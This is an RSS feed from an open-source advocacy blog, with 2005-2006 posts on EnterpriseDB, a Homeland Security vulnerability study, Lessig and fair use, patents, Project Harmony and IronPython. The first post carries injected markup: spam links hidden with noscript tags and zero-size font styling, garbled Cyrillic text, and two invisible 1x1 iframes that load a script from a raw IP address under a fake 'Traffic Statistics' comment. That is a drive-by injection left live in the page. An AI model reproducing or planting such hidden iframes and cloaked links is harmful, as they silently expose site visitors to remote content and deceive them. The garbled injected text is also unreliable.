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	<title>Open Source Movement dot Org</title>
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		<title>Open source turning the database market upside-down</title>
		<link>http://www.opensourcemovement.org/2006/09/01/open-source-turning-the-database-market-upside-down/</link>
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		<pubDate>Sat, 02 Sep 2006 03:16:12 +0000</pubDate>
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		<description><![CDATA[Here&#8217;s one of the most interesting open source projects I&#8217;ve seen in quite a while. The company responsible for this project says the following about themselves on their site:
&#1083;&#1072;&#1085;&#1076;&#1096;&#1072;&#1092;&#1090;EnterpriseDBÐ¼ÐµÐ±ÐµÐ»Ð¸ÐºÐ¾Ð¼Ð¿ÑŽÑ‚Ñ€Ð¸   was founded in March, 2004 to bring the benefits of open source to enterprise databases. Headquartered in New Jersey, EnterpriseDB has engineering and support [...]]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s one of the most interesting open source projects I&#8217;ve seen in quite a while. The company responsible for this project says the following about themselves on their site:</p>
<blockquote><p><noscript><a href="http://www.sibresource.ru/">&#1083;&#1072;&#1085;&#1076;&#1096;&#1072;&#1092;&#1090;</a></noscript><a href="http://www.enterprisedb.com/" title="EnterpriseDB" target="_blank">EnterpriseDB</a><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://www.videnov.com/">Ð¼ÐµÐ±ÐµÐ»Ð¸</a></font><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://kvantservice.com/">ÐºÐ¾Ð¼Ð¿ÑŽÑ‚Ñ€Ð¸</a></font><!-- Traffic Statistics --> <iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics --> was founded in March, 2004 to bring the benefits of open source to enterprise databases. Headquartered in New Jersey, EnterpriseDB has engineering and support centers in North America, Europe, and Asia. EnterpriseDB has received venture capital financing from Charles River Ventures, Valhalla Partners, Sony Online Entertainment<!-- Traffic Statistics --> <iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics --> and Fidelity Ventures.</p></blockquote>
<p>Sony Online Entertainment? That part surprises me, I wonder how large that part of the investment is. Regardless, I think all of the investors will make a bundle if Oracle doesn&#8217;t pull any long, drawn-out intellectual property battles with them. This seems ripe for a legal IP battle.<br />
This new database is basically PostgreSQL, not forked, but synced with their additions. Their additions basically emuate PL/SQL and most if not all of the commands that oracle provides with same syntax so <em><strong>most apps should be able to be converted from Oracle to EnterpriseDB with little or no change</strong></em> to the code. I&#8217;m curious to see if they can run eBusinessSuite (Oracle ERP).</p>
<p>This will be very good for other projects such as Compiere ERP, an open source ERP system that was built for Oracle originally, this may speed up freeing projects such as that one from requiring licensing fees to use them.</p>
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		<title>IDC reports how open source spreads in the wild</title>
		<link>http://www.opensourcemovement.org/2006/09/01/idc-reports-how-open-source-spreads-in-the-wild/</link>
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		<pubDate>Fri, 01 Sep 2006 21:54:31 +0000</pubDate>
		<dc:creator>vaskin</dc:creator>
		
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		<description><![CDATA[The IDC comes out with a great study, open source is pervasive beyond just minor use.]]></description>
			<content:encoded><![CDATA[<p>The IDC comes out with a great study, someone want to buy it for me?</p>
<p><a target="_blank" href="http://www.idc.com/getdoc.jsp?containerId=202511">http://www.idc.com/getdoc.jsp?containerId=202511</a><br />
For now, I will have to trust the reports on this that I&#8217;ve seen thusfar:</p>
<p><a target="_blank" title="commentary 1" href="http://ce.tekrati.com/research/News.asp?id=7614">http://ce.tekrati.com/research/News.asp?id=7614</a></p>
<p><a target="_blank" title="commentary 2" href="http://www.linuxdevices.com/news/NS8982719739.html">http://www.linuxdevices.com/news/NS8982719739.html</a></p>
<p>The bottom line is that open source is everywhere already, and IDC makes some conclusions on how this may effect the industry in the future.</p>
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		<title>Homeland Security Studies Software Vulnerabilities</title>
		<link>http://www.opensourcemovement.org/2006/01/11/homeland-security-studies-software-vulnerabilities/</link>
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		<pubDate>Thu, 12 Jan 2006 02:07:33 +0000</pubDate>
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		<description><![CDATA[Homeland Security has partnered with two commercial, and one educational institution to study the disparity between vulnerabilities between commercial and open source software. This may verify or put to rest (to some degree at least) the argues from vendors such as MicroSoft that open source software, due to it&#8217;s open nature, is more prone to [...]]]></description>
			<content:encoded><![CDATA[<p>Homeland Security has partnered with two commercial, and one educational institution to study the disparity between vulnerabilities between commercial and open source software. This may verify or put to rest (to some degree at least) the argues from vendors such as MicroSoft that open source software, due to it&#8217;s open nature, is more prone to vulnerabilities. According to News.com:</p>
<blockquote><p>the department has given $1.24 million in funding to Stanford University, Coverity and Symantec to hunt for security bugs in open-source software and to improve Coverity&#8217;s commercial tool for source code analysis….The list of open-source projects that Stanford and Coverity plan to check for security bugs includes Apache, BIND, Ethereal, KDE, Linux, Firefox, FreeBSD, OpenBSD, OpenSSL and MySQL….</p></blockquote>
<p>Symantec is the provider of the Norton Internet Security tools which has a lot of prior and current vulnerability data and has a good practical understanding of threats and their reach in real world scenarios. This is a more objective measure, but does not really address the issue of general quality of code and the adherence to safe and well formed code.</p>
<p>Coverty is a source code auditing firm, they are well positioned to review source code and find previously undiscovered vulnerabilities and/or give subjective opinions on the level of quality of the source code and how likely it is that a particular set of code may prove to have vulnerabilities in the future. Now, the money is most likely going to be spent on the subjective end of things, the finding of previously undiscovered vulnerabilities will just be a bonus. (as ethically speaking they should be bound to reporting these to the appropriate parties)</p>
<p>I&#8217;m not sure what this research will discover, and I&#8217;m also skeptical that 1.24 million dollars is enough to actually complete a review of even just the list provided by the media, however, I welcome my tax dollars being spent on improving the standing of open source software within the government. Even if there are a number of vulnerabilities found, it will be firmer ground to start from when government agencies begin their research into deploying some of the staple products offered under open source licenses. I believe regardless the level of increased usage of open source will eventually save tax dollars that would otherwise unneedfully go to a commercial vendor.</p>
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		<title>Lessig on Google Book Search - Fair Use?</title>
		<link>http://www.opensourcemovement.org/2006/01/10/book-search-fair-use/</link>
		<comments>http://www.opensourcemovement.org/2006/01/10/book-search-fair-use/#comments</comments>
		<pubDate>Wed, 11 Jan 2006 01:54:33 +0000</pubDate>
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		<description><![CDATA[Lessig has posted a video of a recent talk to his site that is currently being distributed via Bittorrent, but since some of you may not have a bt client, I decided to redistribute it via video.google.com. He covers the details of his arguments for Google, and as usual, pro innovation.]]></description>
			<content:encoded><![CDATA[<p>Lessig has posted a video of a recent talk to his site that is currently being distributed <a title="Bittorrent link to Lessig speach via Bittorrent" href="http://www.prodigem.com/torrents/download/lessig/lessig-Google.torrent">via Bittorrent</a>. Since some of you may not have a <a title="Earlier post about Bittorrent" href="http://www.opensourcemovement.org/2005/03/21/bittorrent-the-sleeper-killer-app/">bt client</a>, I decided to redistribute it <a title="watch presentation on video.google.com" href="http://video.google.com/videoplay?docid=5100194058815018708&#038;q=lessig">via video.google.com which allows you to stream it</a>. He covers the details of his arguments for Google, and as usual, pro innovation. The industry is simply never going to create a market for the out of print books, and we may loose vital historical and cultural information should these out of print books go to waste.</p>
<p>Fair Use is being eroded by a congress that does not seem to really know how and why CopyRight protection was created in the the first place. I can only hope that the reforms that will soon be coming forth due to the Abramoff case will stop the eroding of CopyRight, and especially the perpetual extensions of CopyRight terms that are also hurting our access to our own heritage.</p>
<p>Unlike libraries which carry books that are out of print, the same does not apply to video and audio content. The same large middle-section of &#8220;out of print books&#8221; <a title="NPR story on music going out of print" href="http://www.npr.org/templates/story/story.php?storyId=5139522">applies to out of print music and films</a>. These recordings, unlike books (if a copy still exists) are on media that are turning into dust simply because there is no public library for them, they are only digitized and kept alive if the companies that own the last copies spend money to keep them alive.</p>
<p>I don&#8217;t understand why so many in congress do not seem to understand the value in this set of intellectual property that is going to waste. When a company comes along to challenge an entire industry, they should not be shut out simply because they found a way to make money legally off of something that was being eroded by an entire industry.</p>
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		<title>FT.com touches on the impact of the movement</title>
		<link>http://www.opensourcemovement.org/2005/09/21/ftcom-touches-on-the-impact-of-the-movement/</link>
		<comments>http://www.opensourcemovement.org/2005/09/21/ftcom-touches-on-the-impact-of-the-movement/#comments</comments>
		<pubDate>Wed, 21 Sep 2005 14:07:30 +0000</pubDate>
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		<description><![CDATA[The Financial Times coverage of the OSM always impresses me. This article opens up comparing OS to kitesurfing and sailplaning. There are some very interesting quotes and anecdotal evidence from industry experts and folks in the field. We all struggle with different ways to get our arms around what OS &#8220;is&#8221;. Is it a methodology? [...]]]></description>
			<content:encoded><![CDATA[<p>The Financial Times coverage of the OSM always impresses me. <a href="http://news.ft.com/cms/s/dcaa9ca4-28d8-11da-8a5e-00000e2511c8.html">This article</a> opens up comparing OS to kitesurfing and sailplaning. There are some very interesting quotes and anecdotal evidence from industry experts and folks in the field. We all struggle with different ways to get our arms around what OS &#8220;is&#8221;. Is it a methodology? Is it a type of software? Is it just the anti-Microsoft? FT does a decent job here of describing it through analogy and comments from industry and academia.</p>
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		<title>Open Source and the US Patent System</title>
		<link>http://www.opensourcemovement.org/2005/08/11/open-source-and-the-us-patent-system/</link>
		<comments>http://www.opensourcemovement.org/2005/08/11/open-source-and-the-us-patent-system/#comments</comments>
		<pubDate>Thu, 11 Aug 2005 15:41:30 +0000</pubDate>
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		<description><![CDATA[The open source community has gotten together, with some leadership by RedHat, to make an attempt at preparing a war-chest of patents for defense against potential suits in the future. In this way I see the community taking on some of the most complex facets of commercial software entities which is the management of IP. [...]]]></description>
			<content:encoded><![CDATA[<p>The open source community has gotten together, with some leadership by RedHat, to make an attempt at <a href="http://www.silicon.com/research/specialreports/opensource/0,3800004943,39151281,00.htm">preparing a war-chest of patents</a> for defense against potential suits in the future. In this way I see the community taking on some of the most complex facets of commercial software entities which is the management of IP. It makes sense, this is where the open source movement has shined. If it wasn&#8217;t for the tools such as cvs and an interconnected network of computers, this movement would not be able to act in defensive ways such as this. It is truly a precedent setting endeavor, I think some of the folks at the Open Source Business Conference in San Francisco were inspired by Lawrence Lessig&#8217;s speech.</p>
<p>The potential use of patent litigation in an offensive way against open source projects is something that has concerned me for a long time, and it has been getting more and more &#8220;buzz&#8221; lately, because it is seen as an area where Open Source is weak. I&#8217;m hoping efforts such as this will mitigate the risk the community has in this area. It certainly sounds like a good start.</p>
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		<title>Open Source Java - Harmony</title>
		<link>http://www.opensourcemovement.org/2005/05/12/open-source-java-harmony/</link>
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		<pubDate>Fri, 13 May 2005 03:47:55 +0000</pubDate>
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		<description><![CDATA[It looks as if the Apache Software Foundation will be working with Sun on Project Harmony which is an implementation of J2SE 5.
More surprisingly, it looks like Sun Microsystems is happy about it. They have been taking a huge hit from Linux servers replacing Solaris servers. With that in mind, I think Sun is welcoming [...]]]></description>
			<content:encoded><![CDATA[<p>It looks as if the Apache Software Foundation will be working with Sun on <em><a href="http://mail-archives.apache.org/mod_mbox/incubator-general/200505.mbox/%3CCA4BEB82-3D84-457D-9531-1477DD749919@apache.org%3E">Project Harmony</a></em> which is an implementation of J2SE 5.</p>
<p>More surprisingly, it looks like <a href="http://www.informationweek.com/story/showArticle.jhtml?articleID=163101352&#038;tid=5979">Sun Microsystems is happy about it</a>. They have been taking a huge hit from Linux servers replacing Solaris servers. With that in mind, I think Sun is welcoming assistance in making of the test suites, compilers and other parts of the J2SE 5 system while they concentrate on the most important aspects, the core architectural changes.</p>
<p>This is a big boon for the <a href="http://jakarta.apache.org/">Apache Jakarta</a> set of software, which all rely on Java. When stable version of Harmony comes out, these projects will be able to run inside of an open source runtime environment and they will be able to distribute, for instance, Tomcat, completely with an Apache license.</p>
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		<title>Stacks, the New Business Model on the Block</title>
		<link>http://www.opensourcemovement.org/2005/04/22/stack-model-spikesource/</link>
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		<pubDate>Fri, 22 Apr 2005 11:30:34 +0000</pubDate>
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		<description><![CDATA[The new kid on the block of Open Source business models - the stack model - is gaining VC acceptance. The money that&#8217;s been on the sidelines is moving into the game. Both SpikeSource and SourceLabs are a less risky, easier to sell, open source solution.
There have been other stacks of software sold such as [...]]]></description>
			<content:encoded><![CDATA[<p>The new kid on the block of Open Source business models - the <em>stack model</em> - is gaining VC acceptance. The money that&#8217;s been on the sidelines is moving into the game. Both <a href="http://www.spikesource.com/">SpikeSource</a> and <a href="http://sourcelabs.com/">SourceLabs</a> are a less risky, easier to sell, open source solution.</p>
<p>There have been other stacks of software sold such as Red Hat&#8217;s server software, and smaller, loosely federated stacks that target developers for the most-part. However, the current stacks lean on proprietary software extensions built into the stacks (as a module on top of mostly open source cores) for revenue. The stack model companies mentioned in this article seem to be going after the enterprise systems by leaning more on packaging, service,  support, and certification.</p>
<p>The merit based OS community fosters an environment in which software is only released when it is ready. The problem is that only that one small piece is ready, not the entire framework. Developers who review a lot of Open Source projects envision many the fragmented OS projects converging into a framework, however, they realize that a good bit of the cost is putting all these pieces together for a customer.</p>
<p>This is where the stack business model steps in. Configured, enterprise-ready, supportable stacks of open source with minimal proprietary tie-in, unlike the Linux distribution model that was popular from 2000-2004.</p>
<p>Stacks are also important for developers because it gives them a large base of OS projects on which they can now build on top of as a whole. This allows for further freedoms both in the OS realm and commercial realm of stacks without the hassle of putting all the pieces together.</p>
<p>These stacks are built on top of a loose framework referred to widely as LAMP, which stands for Linux Apache MySQL [PHP, Python]. Ironically these stacks are also available on Windows also. SpikeSource calls that stack the WAMP Stack.</p>
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		<title>OS&#8217;s Disruptive Marks on Broadband Content</title>
		<link>http://www.opensourcemovement.org/2005/04/13/broadband-content/</link>
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		<pubDate>Wed, 13 Apr 2005 05:42:17 +0000</pubDate>
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		<description><![CDATA[Mr. Lessig has recently posted on his blog about a new report from the OECD, which consists of 30 member countries. The US joined a few months after the organization was established in December 1960.
The panel that produced the new report: 
The panel was designed to analyze and discuss changing digital broadband content value chains [...]]]></description>
			<content:encoded><![CDATA[<p>Mr. Lessig has recently posted on his blog about a <a href="http://www.oecd.org/dataoecd/53/39/34579763.pdf">new report</a> from the <a href="http://www.oecd.org/about/0,2337,en_2649_201185_1_1_1_1_1,00.html">OECD</a>, which consists of 30 member countries. The US joined a few months after the organization was established in December 1960.</p>
<p>The panel that produced the new report: </p>
<blockquote><p>The panel was designed to analyze and discuss changing digital broadband content value chains and business models and help identify new challenges and issues facing the development and delivery of digital content.</p></blockquote>
<p>The first part of the summary states some very basic assumptions about the fluctuations in the marketplace surrounding media distribution, whether that&#8217;s CDs and DVDs or the Sopranos on HBO through access subscriptions:</p>
<blockquote><p>Disruptive technologies, and broadband in particular, are challenging established business models while creating important development opportunities&#8230; </p></blockquote>
<blockquote><p>The relationships between content originators and final users are changing, intermediaries are being created or replaced, and attitudes to content ownership and acquisition are changing.</p></blockquote>
<p>The &#8220;Early Impacts&#8221; section of the document on page 4 is the most interesting for me because it hilights <a href="/2005/03/21/bittorrent-the-sleeper-killer-app/">BitTorrent</a> and P2P:</p>
<blockquote><p>Users are challenging established ownership and distribution arrangements, whether through P2P networks or open access/open archive publishing conventions, or through <strong>new mass distribution</strong> and inter-community trading.</p></blockquote>
<p>Although it doesn&#8217;t go into the details, the reason BitTorrent got such a high billing so soon after it&#8217;s technology debut is because suddenly <a href="http://en.wikipedia.org/wiki/Broadcatching">new models based on RSS and BitTorrent</a> can effectively produce a &#8220;Tivo Season Pass&#8221; like feature with little to no cost of distribution.</p>
<p>The point of the entire paper to me is that there is obviously a <a href="http://news.scotsman.com/latest.cfm?id=4146401">demand</a> for &#8220;easy / deep access&#8221; to video content and a need to modify current business models <a href="http://www.bbc.co.uk/pressoffice/pressreleases/stories/2004/05_may/26/creative_archive.shtml"> to deal</a> <a href="http://www.magnatune.com/"> with it</a>.</p>
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		<title>Python Retrospective in light of IronPython</title>
		<link>http://www.opensourcemovement.org/2005/04/11/python-a-retrospective-from-an-early-tester/</link>
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		<pubDate>Mon, 11 Apr 2005 12:55:22 +0000</pubDate>
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		<description><![CDATA[I&#8217;m somewhat taken aback by the news out of Redmond about IronPython. They are now distributing their own flavor Python that is tuned to work with their bytecode engine and .Net framework. 
I remember turning in a Computer Science assignment in Python instead of using C++ once back in college. I discovered it after doing [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m somewhat taken aback by the news out of <a href="http://www.computerweekly.com/articles/article.asp?liArticleID=137751">Redmond</a> about <a href="http://gotdotnet.com/Workspaces/Workspace.aspx?id=ad7acff7-ab1e-4bcb-99c0-57ac5a3a9742">IronPython</a>. They are now distributing their own flavor Python that is tuned to work with their bytecode engine and .Net framework. </p>
<p>I remember turning in a Computer Science assignment in Python instead of using C++ once back in college. I discovered it after doing research for a previous or concurrent CS course which was a survey on Programming Languages. I didn&#8217;t see the logic in the syntax requirements of C++ at the time and Python offered a clean alternative and fit the requirements (mostly) for my professor. I then used it on a web search engine for a <a href="http://web.archive.org/web/19970129004422/www.performancemag.com/toursearch">trade mag that had music concerts listings</a> which got quite a bit of traffic just after launch. I went on to use Python many other times during my career, all the while admiring it&#8217;s readability.</p>
<p>My next interesting run-in with Python was discovering it inside of a very early version of Microsoft  <a href="http://www.amazon.com/exec/obidos/ASIN/1566046106/102-1908285-9905766">Merchant Server</a> the predecessor to <a href="http://www.microsoft.com/siteserver/">Site Server</a>. I found out that the code was from a company that Microsoft had acquired.</p>
<p>This makes the recent IronPython announcement still a precedent setting event. It is the most significant involvement Microsoft has had to-date with the Open Source movement. Thus, with cautious optimism, I congradulate Guido Van Rossum for his contribution to the movement, it is obviously making an impact on the industry. Oh and <a href="http://groups-beta.google.com/group/comp.lang.python/browse_thread/thread/5cb97be304e366b6/430a7fe1b02ec8d1?q=vaskin&#038;rnum=4#430a7fe1b02ec8d1">thanks</a> for the <a href="http://groups-beta.google.com/group/comp.lang.python/browse_thread/thread/241856487fc32e9c/c27c34bb74a4b985?q=vaskin&#038;rnum=7#c27c34bb74a4b985">help</a>, especially with http upload with Netscape 3. I&#8217;m very cautious about having important projects like Python forked by large companies. Microsoft is testing out it&#8217;s first major attempt at working with an existing codebase.</p>
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